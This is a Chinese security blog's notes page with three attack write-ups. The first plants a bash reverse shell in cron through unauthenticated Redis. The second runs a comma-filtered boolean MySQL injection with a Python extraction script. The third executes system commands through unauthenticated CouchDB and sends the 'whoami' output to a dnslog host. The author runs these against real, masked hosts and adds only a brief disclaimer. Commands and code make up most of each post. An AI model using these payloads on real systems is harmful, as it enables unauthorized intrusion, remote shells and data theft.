分类 笔记 下的文章

Redis未授权访问反弹Shell方法1


思路来自:猪猪侠@乌云(http://www.wooyun.org/bugs/wooyun-2016-0195480)。
本文仅供安全研究,禁止非法使用!!!
先了解命令什么意思再去尝试,别删了别人的数据!

今天碰到一个redis未授权访问,很好奇是什么站就弹shell看看了。
记(zhuang)录(bi)下,老鸟略过吧。错误的地方说下,3Q。

连接redis,需要先安装redis
mac安装redis
brew install redis

常用终端连接redis参数
-p 指定端口
-h host
-a 密码

本地命令行执行下面命令,sss.sss.sss.sss写redis地址,xx.xxx.xx.xx写vps地址,-p指定端口连接,如果默认可以不写-p参数。

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xx.xxx.xx.xx/888 0>&1\n\n"|redis-cli -h sss.sss.sss.sss -p 13000 -x set 1

上面那句命令的意思:echo出bash反弹命令然后写入redis一个新的的字符串。
如下图
1.jpg

然后连接redis,执行如下命令

redis-cli -h xx.xx.xx.xx -p 13000

#修改本地数据库存放目录到计划任务目录
config set dir /var/spool/cron

#指定本地数据库文件名
config set dbfilename root

#同步保存数据到磁盘
save

注意这里写入计划任务,每分钟执行一次。
redis.png

反弹shell成功
fantan.png

crontab -r 清除所有计划任务,不然会一直请求你的vps。谨慎操作,内容太多我只能全部清除计划任务。

exit.jpg


记一次简单Mysql注入(布尔型过滤逗号,附python脚本)


#先感谢下@莲藕炖猪蹄和@redfree。姿势不在多,只要你的姿势正确欢迎来给我普及新知识。绝对虚心求教。

再就是标题党一回,今天碰到一个注入,过滤了逗号,sqlmap并没有跑出来,习惯性装逼手注一下。

过滤逗号的情况下布尔型注入可以用substring这个函数,正常用法substring(@@version,1,1)=5,猜@@version的第一位是5。

但是这里过滤了单引号,前段时间@莲藕炖猪蹄 大牛刚给我普及了一下,substring不用逗号也可以猜解的用法。

substring(database() from 1) 这样是猜解完整的数据库名字。

简单用本地数据库演示下。
1.jpg

一开始length(database())得到9
2.jpg

接下来猜数据库名称 substring(database() from 9) 这样猜解数据库名称最后一个字符
3.jpg

并没有猜出最后一位是什么字符…这特么就很尴尬了....刚开始只知道过滤逗号,当时就想到了应该是还过滤了什么关键词....

怎么判断过滤了什么字符?简单判断:length下当前的注入的语句,如果过滤了注入语句中的某个关键词肯定返回false。
4.jpg

已知DATA SIZE为3453为True。
5.jpg

这里证明没有过滤什么东西...

这个时候@redfree那边说他注入出来了...语法是一样的…我擦....
检查下python代码,redfree说他那边加了headers,如果不加headers就返回False...
这尼玛就很尴尬了...加上headers再跑下...

后面redfree说 注释方式有问题…我擦…以前是个开发狗没用过--注入,我多余的把—后面的%20删了,原来--后面后面是个单引号...也就是说--不是注释了。
查了下mysql手册 注意--注释风格要求你在--以后至少有一个空格!MySQL3.23.3和以上版本支持'--'注释风格,只要注释跟在一个空格之后。

好吧,加上%20果断就跑出来了...其实用%23可以不用加空格...
6.jpg

脚本如下:

#-*- coding:utf-8 -*-

import requests

payload = list('qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_')

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 
    "Accept-Encoding": "gzip, deflate"
}

user = ''
num = 9
strings = '' 
for x in range(1,10):
    for y in payload:
        y  = y+strings
        url = "http://***.***.**.**/**/user/buyerChannel/indexNew?buyer_id=25966%%27)+AND+substring(database()+from+%d)=%%27%s%%27%%23&_=1466596215826" % (num,y)
        try:
            response = requests.get(url,headers=headers,timeout=5,verify=False)
            if response.content.find('****') != -1:#改成你想查找的关键词

                strings = y
                num -= 1
                print url
                break
        except Exception,e:
            pass
print '当前数据库名称为: ',
print strings


Couchdb未授权访问可执行系统命令(利用cloudeye神器回显)


前几天booooom在群里发了个couchdb执行系统命令的word
学习了一下,记录下

新增query_server配置,这里执行curl+回显whoami命令

Curl -X PUT 'http://xx.xx.xxx.xx:5984/_config/query_servers/cmd' -d '"curl couchdb.334cf9.dnslog.info/?whoami=`whoami`"'

新建一个临时表,插入一条记录

curl -X PUT 'http://xx.xx.xxx.xx:5984/testdb'
curl -X PUT 'http://xx.xx.xxx.xx:5984/testdb/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

图片1.png

调用query_server处理数据

curl -X POST 'http://xx.xx.xxx.xx:5984/testdb/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

调用之后,一直在请求,我直接提前结束请求了,因为我要去执行pkill命令k掉curl进程...不然会一直请求...会产生很多日志...
请求.png

因为执行之后curl命令也会在后台一直请求,所以要K掉

Curl -X PUT 'http://xx.xx.xxx.xx:5984/_config/query_servers/cmd' -d '"pkill -9 curl"'

k掉进程.png

最后效果如下

最后效果如下.png

后面跟大表哥@Salime讨论了很久,发现新建表不能写入特殊符号,以及插入数据不可控,所以不可控,导致不能回显,或者说暂时没有找到很好的回显办法,现在只能算是隐式命令执行...如果你有好的办法回显结果,可以评论或者加我qq934817794聊聊...